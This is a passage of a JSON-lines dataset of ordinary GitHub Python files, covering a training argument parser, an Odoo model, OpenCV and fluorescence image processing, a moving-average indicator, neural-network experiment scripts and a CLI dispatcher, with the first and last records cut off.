{delta}s. Expected completion in ~{expected_duration}s\")\n # assert delta < expected_duration + 2\n\n print(f\"Shutting down executor...\")\n executor.shutdown()\n print(f\"DONE Shutting down executor...\")\n\n\nif __name__ == \"__main__\":\n test_hashing_mpi_executor()","repo_name":"ilastik/webilastik","sub_path":"tests/scheduling/test_hashing_mpi_executor.py","file_name":"test_hashing_mpi_executor.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"24880110535","text":"from argparse import ArgumentParser\n\n\nclass TrainingSessionArgParser(ArgumentParser):\n def __init__(self):\n super().__init__(prog=\"train.sh\", description=\"Train prediction model\")\n self.add_argument(\n \"--dataset_path\",\n type=str,\n default=\"data/list_bbox_celeba.txt\",\n help=\"path to master_dataset.csv file\",\n )\n self.add_argument(\n \"--img_dir\",\n type=str,\n default=\"data/imgs\",\n help=\"path to images directory\",\n )\n self.add_argument(\n \"--batch_size\",\n type=int,\n default=64,\n help=\"number of training examples to use per batch\",\n )\n self.add_argument(\n \"--epochs\",\n type=int,\n default=4,\n help=\"number of full training passes over the entire dataset\",\n )\n self.add_argument(\n \"--val_percent\",\n type=float,\n default=0.20,\n help=\"percentage of dataset to use for validation\",\n )\n self.add_argument(\n \"--learning_rate\",\n type=float,\n default=0.001,\n help=\"learning rate for the optimizer\",\n )\n self.add_argument(\n \"--patience\",\n type=int,\n default=2,\n help=\"number of epochs without improvement after which training stops\",\n )\n self.add_argument(\n \"--log_dir\",\n type=str,\n help=\"directory where training progress and model checkpoints are saved\",\n )\n self.add_argument(\n \"--seed\",\n type=int,\n default=None,\n help=\"seed for random number generator\",\n )\n","repo_name":"rcgreen99/face-detector","sub_path":"src/training/training_session_arg_parser.py","file_name":"training_session_arg_parser.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14550007586","text":"from odoo import models, fields\n\n\nclass SelectionCriterium(models.Model):\n _name = 'scm.entry.delivery.line'\n _description = 'Delivery Lines'\n\n scm_id = fields.Many2one(\n comodel_name='scm.entry',\n string='SCM Reference',\n readonly=True,\n ondelete='cascade',\n index=True,\n )\n scm_entry_package_line_id = fields.Many2one(\n comodel_name='scm.entry.package.line',\n readonly=True,\n )\n scm_entry_item_line_ids = fields.One2many(\n string='Items',\n related='scm_entry_package_line_id.scm_entry_item_line_ids',\n )\n delivery_address_id = fields.Many2one(\n comodel_name='res.partner',\n readonly=True,\n )\n quantity = fields.Integer(readonly=True)\n package_id = fields.Many2one(\n string='Package',\n related='scm_entry_package_line_id.package_id',\n )\n delivery_address = fields.Char(\n related='delivery_address_id.contact_address_complete',\n )\n project_id = fields.Many2one(\n string='Project Name',\n related='scm_id.project_id',\n )\n channel_id = fields.Many2one(\n string='Channel',\n related='scm_entry_package_line_id.channel_id',\n )\n package_name = fields.Char(\n string='Package Name',\n related='scm_entry_package_line_id.package_id.long_name',\n )\n description = fields.Text(string='Description')\n vacant_instruction = fields.Text(string='Vacant Instruction')\n\n manufacturing_company_name = fields.Text(\n string='Manufacturing Company Name',\n related='scm_entry_package_line_id.manufacturing_company_name',\n )\n manufacturer_location = fields.Many2one(\n string='Manufacturer location',\n related='scm_entry_package_line_id.manufacturer_location',\n )\n package_size = fields.Text(\n string='Package Size',\n related='scm_entry_package_line_id.package_size',\n )\n package_weight = fields.Text(\n string='Package Weight',\n related='scm_entry_package_line_id.package_weight',\n )\n","repo_name":"hafiz9w1/ihhg_scm","sub_path":"ihhg_master/models/scm_entry_delivery_line.py","file_name":"scm_entry_delivery_line.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34591839135","text":"#openCv import met Genoemt tot cv\nimport cv2 as cv\n\n#foto binnen lezen\n\n#leest de pixels binnen van Cat photo (in variabel img)\n# img = cv.imread('Resources/Photos/cat.jpg') \n#maakt een window aan naam 'Picture en displayed img\n# cv.imshow('Picture',img)\n#wacht voor een bepaalde tijd tot er een key input is gebeurd 0 = inf.(dan sluit hij het venster)\n# cv.waitKey(0)\n\n#video binnenlezen\n\n#leest de pixels binnend van de video (var capture)\n#capture = cv.VideoCapture('Resources/Videos/dog.mp4')\n#while True:\n #leest de frames binnen van de video en een bool dat zegt of de frame succesvol binnengelezen is\n # isTrue, frame = capture.read()\n #cv.imshow('Video', frame)\n #Als 20 seconden voorbij zijn of d word in gedrukt break de loop\n # if cv.waitKey(20) & 0xFF==ord('d'):\n # break\n\n#neemt live video weer voor te vertonen\nLVideo = cv.VideoCapture(0)\nwhile True:\n #leest de frames binnen van de live en een bool dat zegt of de frame succesvol binnengelezen is\n isTrue, frame = LVideo.read()\n cv.imshow('Video', frame)\n #Als 20 seconden voorbij zijn of d word in gedrukt break de loop\n if cv.waitKey(20) & 0xFF==ord('d'):\n break\nLVideo.release()\ncv.destroyAllWindows()\n#geeft error als te lang wacht door geen frames meer","repo_name":"Vti-EmielKemel/Gip","sub_path":"OpencvTests/OpenCvBasic1.py","file_name":"OpenCvBasic1.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18799029213","text":"import sys\nimport math\n\nn = int(input())\na = list(map(int, input().split()))\nmaxS = -2e12\nfor l in range(n):\n sumRange = 0\n for r in range(l, n):\n sumRange += a[r]\n if sumRange > maxS: maxS = sumRange\n\nfor l in range(n):\n sumRange = 0\n for r in range(l, n):\n sumRange += a[r]\n if sumRange == maxS: \n print(l+1, r+1)\n exit()","repo_name":"DankDaPancake/SouthPeach","sub_path":"Array/27.py","file_name":"27.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8776350141","text":"import os\nimport sys\nimport colored\nfrom colored import stylize\nfrom lab.core.output import printTabs, printFullTable\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\ndef list_commands():\n headers = ['Command', 'Description']\n print('\\n')\n print('Available Subcommands')\n print('No quotes required on [] arguments, may be typed directly into the terminal.')\n print('\\n\\n')\n\n commands = [\n ['studies:graph', 'Runs a rescaled range analysis on a ticker. Output defaults to table.'],\n ['hurst [dataset] [output=table]', 'Runs a rescaled range analysis on a ticker. Output defaults to table.'],\n ['output:last', 'Returns the last cached output, can resort by specific key.'],\n ['rdb:export', 'Exports redisdb to zipped json file'],\n ['rdb:import', 'Import redisdb from a zipped json file'],\n ]\n printTabs(commands, headers, 'simple')\n print('\\n\\n')\n\n\ndef command_error(required={}, opt=None):\n if(not (required or opt)):\n print(stylize('Error: your command did not match any known programs. Closing...', colored.fg('red')))\n print('\\n')\n return\n\n if (required):\n print(stylize('FAILED: Requires arguments: ', colored.fg('red')))\n for var, rules in required.items():\n print(stylize('({}) [{}] in position {}'.format(rules['type'], var, rules['pos']), colored.fg('red')))\n print('\\n')\n if (opt):\n print(stylize('Optional arguments: ', colored.fg('yellow')))\n if (isinstance(opt, dict)):\n for var, typ in opt.items():\n print(stylize('({}) [{}]'.format(var, typ), colored.fg('yellow')))\n if (isinstance(opt, list)):\n for var in opt.items():\n print(stylize('[{}]'.format(var), colored.fg('yellow')))\n print('\\n')\n\n\ndef parse_args(args, required=[], opt=[]):\n params = {}\n\n if (required):\n for req, rules in required.items():\n if ('=' in args[rules['pos']]):\n rv = args[rules['pos']].split('=')[1]\n else:\n rv = args[rules['pos']]\n\n params[req] = rv\n\n if (required and params == {}):\n command_error()\n if (opt):\n for var, rules in opt.items():\n in_args = [var == arg.split('=')[0] for arg in args]\n\n if (True in in_args):\n if (rules['type'] == bool):\n if ('--' in var):\n var = var.split('--')[1]\n if ('=' in var):\n argvalue = var.split('=')[1]\n else:\n argvalue = True\n\n params[var] = argvalue\n continue\n\n argvalue = args[in_args.index(True)].split('=')[1]\n\n if (rules['type'] == int and isinstance(int(argvalue), int)):\n params[var] = int(argvalue)\n continue\n else:\n print(stylize(var+' must be of type int.', colored.fg('red')))\n sys.exit()\n\n params[var] = argvalue\n\n return params\n\n\ndef hurst_controller(args):\n required = {'dataset': {'pos': 0, 'type': str}}\n opt = {'output': {'type': str, 'default': 'table'}}\n\n if (not args):\n command_error(required, opt)\n return\n\n from lab.rescaledrange.fractal_calculator import fractal_calculator\n params = parse_args(args, required, opt)\n\n print(fractal_calculator(\n dataset=params['dataset'],\n output=params['output'] if ('output' in params) else opt['output']['default'],\n ))\n\n\ndef studies_controller(subroutine, args=[]):\n if (subroutine == 'graph'):\n from lab.studies.graph import graph_climate_data\n required = {'dataset': {'pos': 0, 'type': str}}\n\n if (not args):\n command_error(required)\n return\n\n params = parse_args(args, required)\n\n print(graph_climate_data(\n dataset=params['dataset']\n ))\n\n\ndef rdb_controller(subroutine, args=[]):\n if (subroutine == 'export'):\n from lab.redisdb.export import export_rdb\n export_rdb()\n if (subroutine == 'import'):\n from lab.redisdb.imports import import_rdb\n import_rdb()\n\n\ndef output_controller(subroutine, args):\n if (subroutine == 'last'):\n from lab.redisdb.controller import fetch_last_output\n\n results = fetch_last_output()\n printFullTable(results, struct='dictlist')\n return\n\n command_error()\n\n\ndef main():\n os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'lab.settings')\n sys.argv.pop(0)\n\n args = [arg.strip() for arg in sys.argv]\n\n if (args[0] == 'list'):\n list_commands()\n return\n\n if (':' in args[0]):\n command = args.pop(0)\n program = command.split(':')[0] + '_controller'\n subroutine = command.split(':')[1]\n\n globals()[program](subroutine, args)\n return\n else:\n program = args.pop(0) + '_controller'\n\n globals()[program](args)\n return\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"AlextheYounga/climate-data-lab","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70435408562","text":"import pandas as pd\nimport numpy as np\nimport os\nimport glob\nfrom skimage import io \nimport javabridge\nimport bioformats\nimport vsi_metadata as v\nimport metric_functions as m\nimport crop_functions as cf\n\ndef fluorescence_time_series (filepath,interval=18,threshold=100,\n csv_path='',stats_path='',store_csv=False,\n zero_index_time=0,stats=False,show_linear=False,\n t_lag_level=250,rescale='None',background='None',\n zero_index=0,threshold_filter=True,vsi=True,\n cycle_vm=True,meta_number=None,image_channel=1,\n t_sample=1,t_cutoff='None',crop=False,endpoint=False\n ):\n \n # if a vsi file is specified then read in through vsi means rather than manually reading in tifs\n if vsi:\n # start javabridge\n if cycle_vm:\n javabridge.start_vm(class_path=bioformats.JARS)\n # read in metadata using bioformats and make ararys for t ans z slices\n metadata=v.extract_metadata(filepath,cycle_vm=False,meta_number=meta_number)\n metadata['cycle time']=float(metadata['cycle time'])/1000\n if endpoint:\n t_slices=[0]\n t_slices_scaled=[0]\n else:\n \n t_slices=np.arange(zero_index,metadata['size_T'])\n \n t_slices=t_slices[::t_sample]\n \n t_slices_scaled=(t_slices-zero_index)*float(metadata['cycle time'])*t_sample\n # command to analyze only so many steps of data \n if t_cutoff != 'None':\n cutoff_bool=t_slices_scaled2:\n image=image[:,:,image_channel]\n else:\n image=max_projection(filepath,t_slices[i],z_slices,image_channel)\n if crop:\n if i==0:\n bounds=cf.get_bounds(image)\n image=image[bounds[0]:bounds[2],bounds[1]:bounds[3]]\n mean[i] = np.mean(image)\n minimum[i] = np.min(image)\n maximum[i] = np.max(image)\n # Otherwise manually read in tifs \n else: \n # Boolean process to deterine whether or not tor\n former_path=os.getcwd()\n os.chdir(filepath)\n # Read sort in the tif files of a given pathway\n filenames=sorted(glob.glob('*.tif'))\n # read in the images and get the mean, min, and max then store as dataframe\n mean = np.empty(len(filenames))\n minimum = np.empty(len(filenames))\n maximum = np.empty(len(filenames))\n i=0\n for file in filenames:\n image = io.imread(file)\n mean[i] = np.mean(image)\n minimum[i] = np.min(image)\n maximum[i] = np.max(image)\n i += 1\n os.chdir(former_path)\n # Sometimes it makes sense to specify a index (time point) to subtract background by specifying an image. If no index is specified\n # then I make an autodetect function using a threshold filter\n if zero_index == 'None':\n if threshold_filter:\n zero_index = 0\n for i in range(len(mean)):\n if i == 0:\n continue\n if mean[i] > threshold:\n zero_index = i\n break\n else:\n zero_index=int(zero_index)\n # cut arrays using zero index value\n mean = mean[zero_index:]\n minimum = minimum[zero_index:]\n maximum = maximum[zero_index:]\n # rescale mean of image if specified\n if rescale!='None':\n mean=mean*rescale\n maximum=maximum*rescale\n minimum=minimum*rescale\n # subtract background. If a specific background in inputted and spec_background = True then it will use the specified value\n if background=='None':\n zero_mean = mean - mean[0]\n else:\n zero_mean = mean - background\n # generate time series data\n if vsi:\n time=t_slices_scaled[zero_index:]-t_slices_scaled[zero_index]\n else:\n time = np.linspace(zero_index_time, interval * len(mean), len(mean),endpoint=False)\n # store to dataframe for easy usage\n df = pd.DataFrame({'time (s)': time, 'Mean': mean, 'Zero Mean': zero_mean, 'Min': minimum, 'Max': maximum})\n # delte rows with saturated values\n df=df[df['Mean']<60000]\n if stats:\n f_metric_options=dict(show_linear=show_linear,interval=interval\n )\n try:\n t_lag_level\n except:\n pass\n else:\n f_metric_options['t_lag_level']=t_lag_level\n F_values = m.get_metrics(df, **f_metric_options)\n \n if stats:\n return df, F_values\n else:\n return df\n\n# function that computes the max projection of images if they are z-stacks\ndef max_projection(path,t_slice,z_slices,image_channel):\n count=0\n for z in z_slices:\n if z==np.min(z_slices):\n test_img = bioformats.load_image(path=path, t=t_slice,z=z, series=0)\n shape=np.shape(test_img)\n img_array=np.zeros([shape[0],shape[1],len(z_slices)])\n img_loop=bioformats.load_image(path=path, t=t_slice,z=z, series=0)*65535\n if len(np.shape(img_loop))>2:\n img_loop=img_loop[:,:,image_channel]\n img_array[:,:,count]=img_loop\n count+=1\n max_intensity=np.amax(img_array,axis=2)\n return max_intensity\n\n# controller that tells the return_area function to show a comparison of the thresholded function at set values in the \ndef show_controller(count_pics,pic_length,*not_shown,pic_thresh=[20,50,90]):\n # cast not shown as list\n not_shown=list(not_shown)\n pic_pct = np.round(count_pics / pic_length * 100, 2)\n if pic_pct >= pic_thresh[0] and not_shown[0] == True:\n show_handler = True\n not_shown[0] = False\n elif pic_pct >= pic_thresh[1] and not_shown[1] == True:\n show_handler = True\n not_shown[1] = False\n elif pic_pct >= pic_thresh[2] and not_shown[2] == True:\n show_handler = True\n not_shown[2] = False\n else:\n show_handler = False\n return show_handler,not_shown,pic_pct\n","repo_name":"NeevesLab/Mean-Fluorescence-Intensity-Code","sub_path":"fluorescence_processing.py","file_name":"fluorescence_processing.py","file_ext":"py","file_size_in_byte":6776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74296916401","text":"\"\"\"\nWMA: Weighted Moving Average.\n\"\"\"\n\nimport pyximport; pyximport.install()\nfrom datautils import gen_closes\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom pandas import Series\n\n\ndef wma(arg, window):\n \"\"\"WMA: Weighted Moving Average.\n\n Params:\n arg (Series): Time series data such as close prices.\n\n window (int): Moving average window size.\n\n Returns:\n Series: Weighted moving average of arg.\n \"\"\"\n\n values = arg.values\n wma = []\n bar_count = len(arg)\n nan_count = window - 1\n if bar_count < nan_count:\n nan_count = bar_count\n for i in range(nan_count):\n wma.append(np.nan)\n div = (window + 1) * window / 2.0\n for i in range(window-1, bar_count):\n sum = 0\n for j in range(window):\n sum += values[i - j] * (window - j)\n wma.append(sum / div);\n\n return Series(data = wma, name=\"wma\" + str(window), index = arg.index)\n\n\ndef test_wma(closes):\n \"\"\"WMA test function.\"\"\"\n wma5 = wma(closes, 5)\n wma10 = wma(closes, 10)\n data = pd.concat([closes, wma5, wma10], axis=1)\n # print(data)\n data.plot(title = \"WMA Chart\")\n plt.show()\n\n\nif __name__ == \"__main__\":\n test_wma(gen_closes())\n","repo_name":"guiyanzhong/pyta","sub_path":"wma.py","file_name":"wma.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"30793647905","text":"import os\n\nimport numpy as np\nimport torch\n\nfrom main import *\nimport matplotlib.pyplot as plt\nimport time\n\n########################################################################################################################\n# Test on alpha values\ndef main1():\n Nin = 784.\n Nout = 10.\n\n n = np.arange(1, 20)\n\n def overflow():\n return ((3 * 2**(n-1) - 2) / (Nin + Nout)).astype(int)\n\n def alpha():\n return (1 / (2 * np.sqrt(Nin)) * (2**(n-1) - 1)).astype(int)\n\n over = overflow()\n alphas = alpha()\n\n plt.plot(n, over, 'b', label='Max alpha for overflow')\n plt.plot(n, alphas, 'r', label='Ideal alpha')\n plt.xlabel('Number of bits')\n plt.ylabel('Values of alpha')\n plt.legend()\n plt.show()\n\n# main1()\n\n########################################################################################################################\n# Test on stepper\n\ndef main2():\n args.layersList.reverse()\n for i in range(10):\n net = FCbinWAInt(args)\n # Creating dataloaders only for training first\n trainLoader, _ = Data_Loader(args)()\n\n if net.cuda:\n net.to(net.device)\n\n batch_idx, (data, targets) = next(iter(enumerate(trainLoader)))\n\n # We initialize the first layer with input data\n state = net.initHidden(data)\n\n # Sending tensors to GPU if available\n if net.cuda:\n targets = targets.to(net.device)\n net.beta = net.beta.to(net.device)\n\n for i in range(len(state)):\n state[i] = state[i].to(net.device)\n\n # Keep track of the states during free phase to see evolution\n # For output\n\n save = []\n\n for k in range(len(state) - 1):\n save.append([])\n save[-1].append(state[k][0][7].item())\n\n #####\n # Free phase\n T = 10\n\n for step in range(T):\n state = net.stepper(state)\n\n for k in range(len(state) - 1):\n save[k].append(state[k][0][7].item())\n\n freeState = state.copy()\n\n # See evolution of free state\n for k in range(len(freeState) - 1):\n print(k)\n print(save[k])\n # plt.plot(range(T + 1), save[k])\n # plt.show()\n\n #####\n # Nudged phase\n # Kmax = 12\n # beta = 2\n #\n # for step in range(Kmax):\n # state = net.stepper(state, target=targets, beta=beta)\n # for k in range(len(state) - 1):\n # save[k].append(state[k][0][7].item())\n #\n # # Plotting state evolution\n # # For first hidden layer in [0, 1]\n # for k in range(1):\n # plt.plot(range(T + 1 + Kmax), save[k])\n # plt.show()\n #\n # # For next layers in [0, 2**(n-1) - 1]\n # for k in range(1, 3):\n # plt.plot(range(T + 1 + Kmax), save[k])\n # plt.show()\n\n\n\n # We compute the gradient\n # gradW, _, _ = net.computeGradients(freeState, state)\n #\n # freeBinState = net.getBinState(freeState)\n # nudgedBinState = net.getBinState(state)\n\n # for i in range(len(state)):\n # print('layer ' + str(i))\n # print(torch.count_nonzero(freeBinState[i][52]).item())\n\n# main2()\n\n########################################################################################################################\n# See initialized int weights\n\ndef main3():\n net = FCbinWAInt(args)\n\n for i in range(len(net.Wint)):\n print(net.Wint[i].weight)\n print(net.W[i].weight)\n\n# main3()\n\n########################################################################################################################\n# Seeing number of bits for which to code BOP parameters\n\ndef main4():\n n = np.arange(2, 25)\n\n def scaling():\n return (2e-7 * (2**(n-1))).astype(int)\n\n y = scaling()\n plt.plot(n, y)\n plt.show()\n\n# main4()\n\n########################################################################################################################\n# Numbers of bit with alpha\n\ndef main5():\n n = np.arange(2, 16)\n Nin = 8192\n\n def scaling():\n return (1 / (2*np.sqrt(Nin)) * (2**(n-1))).astype(int)\n\n y = scaling()\n print(y)\n plt.plot(n, y)\n plt.show()\n\n# main5()\n\n########################################################################################################################\n# Tuning BOP hyperparameters\n\ndef main6():\n args.layersList.reverse()\n for i in range(10):\n net = FCbinWAInt(args)\n\n # Creating dataloaders only for training first\n trainLoader, _ = Data_Loader(args)()\n\n if net.cuda:\n net.to(net.device)\n\n batch_idx, (data, target) = next(iter(enumerate(trainLoader)))\n\n # We initialize the first layer with input data\n state = net.initHidden(data)\n\n # Sending tensors to GPU if available\n if net.cuda:\n target = target.to(net.device)\n net.beta = net.beta.to(net.device)\n\n for k in range(len(state)):\n state[k] = state[k].to(net.device)\n\n # Keep track of the states during free phase to see evolution\n # For output\n\n save = []\n\n for k in range(len(state)):\n save.append([])\n save[-1].append(state[k][0][99].item())\n\n #####\n # Free phase\n T = 16\n\n for step in range(T):\n state = net.stepper(state)\n\n for k in range(len(state)):\n save[k].append(state[k][0][99].item())\n\n freeState = state.copy()\n\n # # See evolution of free state\n # for k in range(len(freeState)):\n # plt.plot(save[k])\n # plt.title('layer ' + str(k))\n # plt.show()\n\n #####\n # Nudged phase\n K = 16\n\n for step in range(K):\n state = net.stepper(state, target=target, beta=net.beta)\n\n for k in range(len(state)):\n save[k].append(state[k][0][99].item())\n\n # See evolution of states\n for k in range(len(freeState)):\n plt.plot(save[k])\n plt.title('layer ' + str(k))\n plt.show()\n\n # nudgedState = state.copy()\n #\n # gradW, gradBias = net.computeGradients(freeState, nudgedState)\n #\n # for k in range(len(gradW)):\n # print('Weights layer ' + str(k))\n # gradw = gradW[k].tolist()\n # plt.plot(gradw, '+')\n # plt.title('Weights layer ' + str(k))\n # plt.show()\n\n\n # for k in range(len(gradBias)):\n # print('Biases layer ' + str(k))\n # gradb = gradBias[k].tolist()\n # plt.plot(gradb, '+')\n # plt.title('Biases layer ' + str(k))\n # plt.show()\n\n\n# main6()\n\n########################################################################################################################\n# See end values of network weights and biases\n\ndef main7():\n trainLoader, testloader = Data_Loader(args)()\n\n for dir, subdir, files in os.walk(os.getcwd()):\n for file in files:\n cpath = os.path.join(dir, file)\n if '.pt' in cpath and 'S7' in cpath and '24' in cpath:\n model = (torch.load(cpath))\n\n print(model['modelStateDict'])\n\n return 0\n\n# main7()\n\n########################################################################################################################\n# Number of bits to have a granularity of 1e-7\n\ndef main8():\n print(6*np.log(10)/np.log(2))\n # print(2**15)\n return 0\n\n# main8()\n\n########################################################################################################################\n# Testing code copy\n\ndef main9():\n net = FCbinWAInt(args)\n\n # Create visualizer for tensorboard and save training\n visualizer = Visualizer(net, args)\n visualizer.saveHyperParameters()\n\n# main9()\n\n########################################################################################################################\n# Testing values of accumulated gradients\n\ndef main10():\n args.layersList.reverse()\n\n trainLoader, _ = Data_Loader(args)()\n\n net = FCbinWAInt(args)\n\n if net.cuda:\n net.to(net.device)\n\n for i in range(2):\n for batch, (data, target) in enumerate(tqdm(trainLoader)):\n\n state = net.initHidden(data)\n\n if net.cuda:\n targets = target.to(net.device)\n net.beta = net.beta.to(net.device)\n\n for j in range(len(state)):\n state[j] = state[j].to(net.device)\n\n state = net.forward(state)\n freeState = state.copy()\n\n nudgedState = net.forward(state, beta=net.beta, target=targets)\n\n gradW, _ = net.computeGradients(freeState, nudgedState)\n _ = net.updateWeights(freeState=freeState, nudgedState=state)\n\n\n for k in range(len(gradW)):\n print('Weights layer ' + str(k))\n gradw = gradW[k].tolist()\n plt.plot(gradw, '+')\n plt.title('Weights layer ' + str(k))\n plt.show()\n\n# main10()\n\n########################################################################################################################\n# Number of bits for states with binary weights only and no scaling factors\n\ndef main11():\n print(np.log((8192*2 + 2) / 3) / np.log(2) + 1)\n\n# main11()\n\n########################################################################################################################\n# Testing conv arch\n\ndef main12():\n args.layersList.reverse()\n args.convList.reverse()\n\n for l in range(10):\n\n trainLoader, _ = Data_Loader(args)()\n net = ConvWAInt(args)\n\n if net.cuda:\n net.to(net.device)\n\n print(\"Running on \" + net.deviceName)\n\n batch_idx, (data, target) = next(iter(enumerate(trainLoader)))\n\n state, indices = net.initHidden(data)\n\n if net.cuda:\n data, target = data.to(net.device), target.to(net.device)\n net.beta = net.beta.to(net.device)\n\n for i in range(len(state)):\n state[i] = state[i].to(net.device)\n\n ##############################\n T = 50\n Kmax = 50\n\n save = [[] for k in range(len(state))]\n\n with torch.no_grad():\n # Free phase\n for t in range(T):\n state, indices = net.stepper(state, indices, data)\n\n save[0].append(state[0][32][350].item())\n save[1].append(state[1][32][0][0][0].item())\n save[2].append(state[2][32][0][0][0].item())\n\n freeState = state.copy()\n\n # Nudged phase\n for k in range(Kmax):\n state, indices = net.stepper(state, indices, data, target=target, beta=net.beta, pred=freeState[0])\n\n save[0].append(state[0][32][350].item())\n save[1].append(state[1][32][0][0][0].item())\n save[2].append(state[2][32][0][0][0].item())\n\n for layer in range(len(save)):\n plt.plot(save[layer])\n\n plt.show()\n\n# main12()\n\n########################################################################################################################\n# Init of weights on FC arch\n\ndef main13():\n args.layersList = [100, 8192, 784]\n\n net = FCbinWAInt(args)\n\n print(net.W[0].weight.data)\n\n net.W[0].weight.data[:, ::2] = torch.ones(size=net.W[0].weight.data[:, ::2].shape)\n net.W[0].weight.data[:, 1::2] = -torch.ones(size=net.W[0].weight.data[:, 1::2].shape)\n\n print(net.W[0].weight.data)\n print(net.W[0].weight.data.shape)\n\n return\n\n# main13()\n\n########################################################################################################################\n# Testing \"analytical\" solution for relaxation\n\ndef main14():\n args.layersList = [100, 8192, 784]\n args.archi = 'fc'\n\n for i in range(10):\n net = FCbinWAInt(args)\n\n # Creating dataloaders only for training first\n trainLoader, _ = Data_Loader(args)()\n\n if net.cuda:\n net.to(net.device)\n\n batch_idx, (data, target) = next(iter(enumerate(trainLoader)))\n\n # We initialize the first layer with input data\n state = net.initHidden(data)\n\n # Sending tensors to GPU if available\n if net.cuda:\n target = target.to(net.device)\n net.beta = net.beta.to(net.device)\n\n for k in range(len(state)):\n state[k] = state[k].to(net.device)\n\n # Keep track of the states during free phase to see evolution\n # For output\n\n save = []\n\n for k in range(len(state)):\n save.append([])\n save[-1].append(state[k][0][50].item())\n\n #####\n # Free phase\n T = 16\n\n analyticalState = net.analytical(state)\n print(analyticalState)\n\n for step in range(T):\n state = net.stepper(state)\n\n for k in range(len(state)):\n save[k].append(state[k][0][50].item())\n\n print(state)\n\n freeState = state.copy()\n\n # # See evolution of free state\n # for k in range(len(freeState)):\n # plt.plot(save[k])\n # plt.title('layer ' + str(k))\n # plt.show()\n\n return\n\n# main14()\n\n########################################################################################################################\n# Generation of data with trained model by going backward\n\ndef main15():\n model = torch.load(\"./SAVE-fc-MNIST/2021-06-30/S7/checkpoint.pt\")['modelStateDict']\n net = FCbinWAInt(args)\n\n print(model)\n\n def stepper(state):\n \"\"\"Evolution of the state during free phase or nudged phase\"\"\"\n preAct = state.copy()\n binState = net.getBinState(state)\n binStateP = net.getBinStateP(state)\n\n # We compute the pre-activation for each layer\n preAct[0] = binStateP[0] * model['W.0.weight'](binState[1])\n\n for layer in range(1, len(state)):\n # Previous layer contribution\n preAct[layer] = binStateP[layer] * model.W[layer](binState[layer + 1])\n # Next layer contribution\n preAct[layer] += binStateP[layer] * torch.mm(binState[layer - 1], model.W[layer - 1].weight)\n # Updating, filtering, and clamping the pre-activations\n state[layer] = (0.5 * (state[layer] + preAct[layer])).int().float().clamp(0, net.maxIntState)\n\n state[0] = (0.5 * (state[0] + preAct[0])).int().float().clamp(0, net.maxIntState)\n\n return state\n\n state = []\n\n # Init state\n for layer in range(len(net.layersList)):\n state.append(torch.zeros(net.trainBatchSize, net.layersList[layer], requires_grad=False))\n\n T = 16\n\n for i in range(T):\n state = stepper(state)\n\n print(state[-1])\n\n return\n\n# main15()\n\n########################################################################################################################\n# Testing for accumulated gradients\n\ndef main16():\n # a = torch.randn(size=(10, 10))\n # print(a)\n # print(a[torch.where(torch.abs(a) > 1)])\n print(4*784)\n\n return\n\n# main16()\n\n########################################################################################################################\n# See weights\n\ndef main17():\n model = torch.load(\"SAVE-fc-MNIST/2021-07-09/S1/checkpoint.pt\")\n print(model['modelStateDict']['W.1.weight'])\n dropout = torch.nn.Dropout(p=0.5)\n print(dropout(model['modelStateDict']['W.0.weight']))\n\n return\n\n# main17()\n\n########################################################################################################################\n# Stochastic accumulation\n\ndef main18():\n rand = torch.rand(size=(10, 10))\n inte = torch.randint(-7, 7, size=(10, 10))\n test = ((rand < torch.abs(inte)/7).int() * 7.0) * torch.sign(inte)\n\n print(test)\n\n return\n\n# main18()\n\n########################################################################################################################\n# mean weights\n\ndef main19():\n # test = torch.randint(-10, 10, size=(100, 100, 100), dtype=float)\n # print(torch.mean(test))\n\n print(1/(2*np.sqrt(1024)) * 2**6)\n print(1/(2*np.sqrt(784)) * 2**6)\n\n return\n\nmain19()","repo_name":"thibautloiseau/EP-INT","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":16250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73998414003","text":"\nimport os\nfrom os.path import join\nimport yaml\nimport logging\nimport inspect\nfrom contextlib import redirect_stdout\nfrom copy import deepcopy\nimport re\n\nimport numpy as np\nimport xarray as xr\nimport dask.array as darray\n\nfrom .cost import CostFunction, nrmse, psd\nfrom .esn import ESN\nfrom .io import from_zarr\nfrom .lazyesn import LazyESN\nfrom .optim import optimize\nfrom .timer import Timer\nfrom .utils import get_samples, update_esn_kwargs\nfrom .xdata import XData\n\nclass Driver():\n \"\"\"This is intended to automate :class:`ESN` and :class:`LazyESN` usage. The main methods to use are:\n\n - :meth:`run_training`: train readout weights\n\n - :meth:`run_macro_training`: use the `surrogate modeling toolbox `_ to perform Bayesian optimization and learn macro-scale network parameters\n\n - :meth:`run_test`: test a trained network on a number of random samples from a test dataset\n\n Please see `this page of the documentation `_ for examples of all of these, and an example configuration file.\n The experiments are configured with the parameter dict :attr:`config`.\n This can be created either by specifying the path to a yaml file or by explicitly passing the dict itself, see :meth:`set_config`.\n\n Args:\n config (str or dict): either a path to a yaml file or dict containing experiment parameters\n output_directory (str, optional): directory to save results and write logs to\n \"\"\"\n\n __slots__ = (\n \"config\", \"output_directory\",\n \"walltime\", \"localtime\",\n \"esn_name\", \"ESN\",\n \"logfile\", \"logname\", \"logger\",\n 